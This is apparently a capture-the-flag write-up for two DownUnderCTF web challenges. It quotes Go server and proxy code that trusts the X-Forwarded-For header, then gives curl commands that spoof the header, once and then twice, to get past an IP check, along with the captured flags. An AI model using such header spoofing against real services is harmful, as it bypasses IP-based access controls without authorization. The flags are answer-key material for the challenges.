Proxed
proxed
Description
Cool haxxorz only
Author: Jordan Bertasso
Application: http://proxed.duc.tf:30019 Downloads: proxed.tar.gz
Analysis
Since there's no frontend we should look inside source code. Main function has only this piece of code which handles request.
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
xff := r.Header.Values("X-Forwarded-For")
ip := strings.Split(r.RemoteAddr, ":")[0]
if xff != nil {
ips := strings.Split(xff[len(xff)-1], ", ")
ip = ips[len(ips)-1]
ip = strings.TrimSpace(ip)
}
if ip != "31.33.33.7" {
message := fmt.Sprintf("untrusted IP: %s", ip)
http.Error(w, message, http.StatusForbidden)
return
} else {
w.Write([]byte(os.Getenv("FLAG")))
}
})
This piece of block checks if our IP matches 31.33.33.7
. This challenge should be impossible due to r.RemoteAddr
being set on TCP/IP level and not http, but since X-Forwarded-For
header replaces the IP, it becomes possible.
The X-Forwarded-For (XFF) request header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through a proxy server.
Solution
Make a request to server with X-Forwarded-For
header set to desired IP by application.
➜ curl -H 'X-Forwarded-For: 31.33.33.7' http://proxed.duc.tf:30019/
DUCTF{17_533m5_w3_f0rg07_70_pr0x}
Flag: DUCTF{17_533m5_w3_f0rg07_70_pr0x}
actually-proxed
Description
Still cool haxxorz only!!! Except this time I added in a reverse proxy for extra security. Nginx and the standard library proxy are waaaayyy too slow (amateurs). So I wrote my own :D
Author: Jordan Bertasso
Application: http://actually.proxed.duc.tf:30009 Downloads: actually-proxed.tar.gz
Analysis
docker-entrypoint.sh
:
#!/bin/sh
# https://docs.docker.com/config/containers/multi-service_container/
cd /app/out
# Start the proxy
./proxy &
# Start the web server
./secret_server &
# Wait for any process to exit
wait -n
# Exit with status of process that exited first
exit $?
From entrypoint we know that request goes through proxy and then server. Request -> Proxy -> Server
secret_server
code is almost the same, but this time X-Forwarded-For
is replaced by proxy.
Inside parseRequest
, Lines 100-105:
for i, v := range headers {
if strings.ToLower(v[0]) == "x-forwarded-for" {
headers[i][1] = fmt.Sprintf("%s, %s", v[1], clientIP)
break
}
}
If we send a request to server with X-Forwarded-For
header the proxy will change it with our real ip (from TCP layer), but if you have noticed it has one critical bug -> break
. The header is only checked once and http doesnt care if you supply 1 or 100 headers its going to use the last one.
Solution
Send X-Forwarded-For
header twice.
➜ curl -H 'X-Forwarded-For: 31.33.33.7' -H 'X-Forwarded-For: 31.33.33.7' http://actually.proxed.duc.tf:30009
DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}
Flag: DUCTF{y0ur_c0d3_15_n07_b3773r_7h4n_7h3_574nd4rd_l1b}
Last updated